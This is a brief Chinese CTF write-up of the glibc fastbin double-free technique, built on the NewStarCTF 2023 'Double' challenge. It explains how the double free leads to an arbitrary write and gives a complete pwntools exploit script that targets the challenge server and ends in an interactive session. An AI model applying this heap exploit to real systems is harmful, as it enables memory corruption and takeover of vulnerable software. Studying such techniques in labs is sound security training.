Fastbin
Double Free
以buuoj NewStarCTF 2023 week 4 Double为例
目的是向任意地址写入值
经典的网图

原理在于,三次free之后,第一次把chunk1 malloc出来之后,可以对content部分进行编辑,而content对于第三次malloc出来的chunk1是fd,这个fd在第四次malloc时,会从自己写的地址进行malloc,然后这个malloc出来的块的content又是可编辑的。这样就实现了任意地址写。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 
 | from pwn import *
 
 p = remote("node4.buuoj.cn", 25942)
 
 
 
 def add(idx, content):
 p.recvuntil(b">\n")
 p.sendline(b"1")
 p.recvuntil(b"Input idx\n")
 p.sendline(idx)
 p.recvuntil(b"Input content\n")
 p.sendline(content)
 
 
 def free(idx):
 p.recvuntil(b">\n")
 p.sendline(b"2")
 p.recvuntil(b"Input idx\n")
 p.sendline(idx)
 
 def check():
 p.recvuntil(b">\n")
 p.sendline(b"3")
 
 
 add(b'1', b"aaaa")
 add(b'2', b"bbbb")
 free(b'1')
 free(b'2')
 free(b'1')
 
 add(b'1', p64(0x602070 - 16))
 
 add(b'2', b'dddd')
 
 add(b'3', b'eeee')
 
 add(b'4', p64(1638))
 
 check()
 
 p.interactive()
 
 | 
House of Spirit
Alloc to Stack
Arbitary Alloc